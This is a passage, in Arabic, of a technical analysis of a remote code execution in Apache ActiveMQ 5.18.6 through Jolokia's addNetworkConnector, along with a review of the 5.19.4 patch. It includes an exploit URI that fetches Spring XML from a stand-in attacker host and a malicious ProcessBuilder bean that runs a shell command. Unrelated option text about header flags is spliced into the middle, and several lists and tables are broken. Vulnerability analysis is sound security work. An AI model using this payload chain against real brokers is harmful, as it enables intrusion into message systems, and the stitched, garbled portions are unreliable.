DiscoveryNetworkConnector.onServiceAdd() ثم يتصل بـ URI الداخلي الذي يتحكم فيه المهاجم.
يتم التعامل مع إنشاء الوسيط بواسطة:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }
يعتمد البحث عن المعالج على المخطط:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
بالنسبة لعناوين URI من نوع xbean:، فإن واصف الخدمة يُعيّن إلى XBeanBrokerFactory:```properties
class=org.apache.activemq.xbean.XBeanBrokerFactory
تدفق الاستدعاء الثابت الدقيق:```text
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
الانتقال الرئيسي هو:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml
إلى:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
مصنع XBean ذو الصلة هو:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler
يستخرج `createBroker()` الجزء الخاص بالمخطط من URI `xbean:` وينشئ سياق تطبيق Spring قبل التحقق مما إذا كان يحتوي على وسيط:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
المصرف الخطير هو createApplicationContext():```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
يتم قبول الموارد البعيدة بواسطة `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
لذلك:```text xbean:http://192.168.1.32:9999/evil.xml
يتم اختزاله إلى:```text
http://192.168.1.32:9999/evil.xml
وتحميلها كمورد UrlResource من Spring.
الاستدعاء إلى reader.setValidating(isValidate()) يتحكم فقط في وضع التحقق من صحة XML في XmlBeanDefinitionReader الخاص بـ Spring. لا يقتصر على فئات الفاصوليا، وسيطات المنشئ، وطرق دورة الحياة، أو موارد URL البعيدة.
ActiveMQ 5.18.6 يعلن:```xml 5.3.39 4.25
في XBean 4.25، يستدعي `ResourceXmlApplicationContext` الدالة `refresh()` من المُنشئ الخاص به:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
يقوم بتحميل تعريفات bean من المورد المقدم:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }
بعد ذلك، يقوم `AbstractApplicationContext.refresh()` من Spring بتهيئة مصنع الفول وإنشاء حبوب مفردة غير كسولة:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
finishBeanFactoryInitialization() يستدعي:```java
beanFactory.preInstantiateSingletons();
`DefaultListableBeanFactory.preInstantiateSingletons()` ينشئ كل bean غير مجرد، singleton، غير كسول:```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
أثناء تهيئة Bean، تستدعي Spring طرق التهيئة المخصصة:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }
يتم حل طريقة init المخصصة من تعريف الفول:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
invokeCustomInitMethod() تستدعي الطريقة بشكل انعكاسي:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
حبة Spring XML خبيثة مثل:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
يسبب السلوك التالي:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()
يحدث هذا قبل أن يتحقق `XBeanBrokerFactory.createBroker()` من السياق الناتج عن طريق البحث عن Bean من نوع `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
يحدث التحقق من الوسيط بعد تحديث سياق Spring. ونتيجة لذلك، يمكن للتكوين تنفيذ طرق init عشوائية ومع ذلك يتم رفضه لاحقًا كتكوين وسيط غير صالح.
السبب الجذري هو جسر معماري غير آمن بين عملية إدارة يمكن استدعاؤها عن بُعد وآليات تشغيل وسيط محلية موثوقة.
يتميز التصميم الضعيف بهذه الخصائص:
exec لوحدات MBean الخاصة بإدارة وسيط ActiveMQ.BrokerView.addNetworkConnector(String) إدخال URI يتحكم فيه المهاجم.static:(...) في اتصال URI المحاط تلقائيًا عند بدء موصل الشبكة.vm:// مجرد نقل داخل الجهاز الافتراضي؛ بل يدعم أيضًا إنشاء وسيط تلقائيًا عندما يكون الوسيط المسمى غائبًا.VMTransportFactory brokerConfig كـ URI لمصنع الوسيط ويُمرره إلى BrokerFactory.createBroker().BrokerFactory عناوين URI xbean: من خلال XBeanBrokerFactory.XBeanBrokerFactory موارد URL ويُنشئ ResourceXmlApplicationContext الخاص بـ Spring.هذا ليس مجرد "التحقق من الإدخال غير المناسب" بشكل منفصل. يحدث السلوك الضعيف بسبب تعريض مفسر URI قادر على التكوين من خلال عملية JMX في وقت التشغيل والسماح لهذا المفسر بالوصول إلى تنفيذ دورة حياة كائنات Spring.
الفشل الدقيق هو أن واجهة برمجة تطبيقات الإدارة تتعامل مع discoveryAddress كعنوان موصل، لكن طبقة النقل اللاحقة تتعامل معه كتكوين قابل للتنفيذ. في مسار الاستغلال، يتم تقييم السلسلة كـ:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
يتم التحقق بعد فوات الأوان لأن التحقق الوحيد من تكوين الوسيط في `XBeanBrokerFactory` يحدث بعد:```java
new ResourceXmlApplicationContext(resource)
ويقوم هذا المُنشئ بتنفيذ:```text refresh() -> preInstantiateSingletons() -> init-method invocation
بحلول الوقت الذي يحدد فيه ActiveMQ أن XML لا يحتوي على `BrokerService` صالح، قد تكون حبوب Spring التي يتحكم بها المهاجم قد نفذت بالفعل.
---
### تحليل التصحيح
تمت مراجعة الفرق ذي الصلة باستخدام:```bash
git diff activemq-5.18.6..activemq-5.19.4
التغيير ذو الصلة بالأمان هو في:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
في الإصدار 5.18.6، قامت الدالة `addNetworkConnector()` بتوجيه السلسلة النصية مباشرة:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
في الإصدار 5.19.4، تمت إضافة التحقق قبل استدعاء BrokerService:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
تمت إضافة نفس التحقق إلى `addConnector()`:```diff
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
يرفض المدقق مخططات نقل vm:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }
يصبح مسار التنفيذ المعالج:```text
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
هذا يمنع الاستغلال قبل وصول الطلب إلى:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()
لا يزيل التصحيح دعم نقل VM بشكل عام. إنه يقيد استخدام `vm://` عبر طرق إنشاء الموصلات المواجهة لـ JMX في `BrokerView`. لا تزال مسارات التعليمات البرمجية الداخلية أو الموثوقة التي تستخدم نقل VM موجودة.
لم يتم إجراء أي تغيير متعلق بالأمان على `VMTransportFactory.doCompositeConnect()` بين الإصدارين 5.18.6 و5.19.4. يظل سلوك `brokerConfig` كما هو:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
لم يتم إجراء أي تغيير ذي صلة بالأمان على XBeanBrokerFactory.createApplicationContext() في هذا الفرق. تظل موارد URL عن بُعد وسلوك ResourceXmlApplicationContext الخاص بـ Spring متاحة لتحميل تكوين الوسيط الموثوق.
تم تغيير BrokerFactory من FactoryFinder خام إلى FactoryFinder<BrokerFactoryHandler> مكتوب:```diff
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
= new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
BrokerFactoryHandler.class, null);
هذا هو تنظيف سلامة النوع، وليس تخفيف RCE. يظل الإرسال المعتمد على المخطط إلى `XBeanBrokerFactory` قائمًا.
اكتسب `BrokerService` عمليات التحقق من `isAutoStart()` لبدء تشغيل الموصل في بعض المسارات:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
هذا ليس الإصلاح الأساسي لمسار Jolokia-to-RCE. التخفيف الأساسي هو رفض vm:// قبل الإرسال في BrokerView.
ملخص سلوك التصحيح:
BrokerView.addNetworkConnector() يقبل static:(vm://...?brokerConfig=xbean:http://...) ويمرره إلى المراحل التالية.BrokerView.addNetworkConnector() يتحقق من صحة URI المقدم قبل إنشاء الموصل ويرفض استخدام vm:// المتداخلة.VMTransportFactory استهلاك brokerConfig الذي يتحكم به المهاجم والذي يتم الوصول إليه من مسار JMX.VMTransportFactory يدعم brokerConfig، ولكن يتم حظر مسار JMX المكشوف قبل تحليل نقل VM.مسار الشفرة الضعيفة الدقيق في ActiveMQ Classic 5.18.6 هو:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()
يمكن حدوث الاستغلال لأن ActiveMQ يُظهر عملية إدارية تقبل URI موصل، ولكن تنفيذ النقل النهائي يمكنه تفسير هذا URI كإعدادات إنشاء وسيط. يعبر معامل `brokerConfig` من منطق اتصال النقل إلى منطق مصنع الوسيط. باستخدام قيمة `xbean:`، يعبر مرة أخرى إلى معالجة Spring XML.
الأساس التنفيذي لـ Spring ليس خطأ منفصلًا في إلغاء التسلسل. إنه سلوك Spring طبيعي لدورة الحياة: يتم إنشاء حبة مفردة غير كسولة (non-lazy singleton bean) أثناء تحديث السياق، ويتم استدعاء `init-method` المُهيأ لها. لذا، فإن حبة `java.lang.ProcessBuilder` مع `init-method="start"` تنفذ عملية أثناء تهيئة سياق التطبيق.
فشل التحقق هو خلل في الترتيب. يتحقق ActiveMQ مما إذا كان تكوين XBean يحتوي على `BrokerService` قابل للاستخدام فقط بعد أن يكون `ResourceXmlApplicationContext` قد حمّل ملف XML بالفعل وقام بتهيئة الحبوب المفردة. رفض تكوين الوسيط بعد التحديث لا يلغي الآثار الجانبية الناتجة عن طرق دورة حياة الحبوب.
يعمل التصحيح في الإصدار 5.19.4 على تخفيف هذا المسار المحدد عن طريق إضافة التحقق من URI في `BrokerView` قبل إنشاء الموصل ورفض استخدام نقل `vm://` من سطح إدارة JMX. يمنع التصحيح المسار المُكشوف إلى `VMTransportFactory.doCompositeConnect()`؛ ولا يزيل دعم `brokerConfig` أو `xbean:` أو تحميل Spring XBean من مسارات التكوين الداخلية الموثوقة.
| Feature | Abuse |
|---|
addNetworkConnector() | Accept attacker-controlled URI |
vm:// transport | Trigger dynamic broker creation |
brokerConfig= | Load arbitrary broker configuration |
xbean: | Invoke Spring XML loader |
| Remote HTTP URL | Fetch attacker-controlled XML |
--header-independent --header 'Cookie: [GET]auth=token'--header-independent-names--header-independent-names - يُعرّف أسماء ترويسات مستقلة. ستكون هذه الترويسات متاحة تلقائياً عند الاختبار، ولكن يجب عليك تحديد مكان تضمين كل منها. على سبيل المثال: --header-independent-names 'Cookie' --header 'Cookie: [GET]auth=token'.```text id="3q2vls"
ResourceXmlApplicationContext| التأثير | الوصف |
|---|
| تنفيذ الأوامر عن بُعد | تنفيذ أوامر عشوائية |
| اختراق الحاوية | اختراق كامل لحاوية ActiveMQ |
| سرقة بيانات الاعتماد | الوصول إلى بيانات اعتماد الوسيط والأسرار |
| الحركة الجانبية | التحرك إلى الأنظمة المجاورة |
| الاستمرارية | إنشاء موصلات شبكة ضارة |
| كشف البيانات | الوصول إلى رسائل الوسيط وقوائم الانتظار |
META-INF/services/org/apache/activemq/broker/<scheme>XBeanBrokerFactory: يتعامل مع عناوين URI لتكوين الوسيط xbean: وينشئ سياق تطبيق Spring/XBean.ResourceXmlApplicationContext: يحمل مورد XML وينفذ تحديث مصنع الفول Spring، بما في ذلك إنشاء الفردي النشط.BrokerService صالح فقط بعد أن يكون Spring قد قام بالفعل بتهيئة السياق.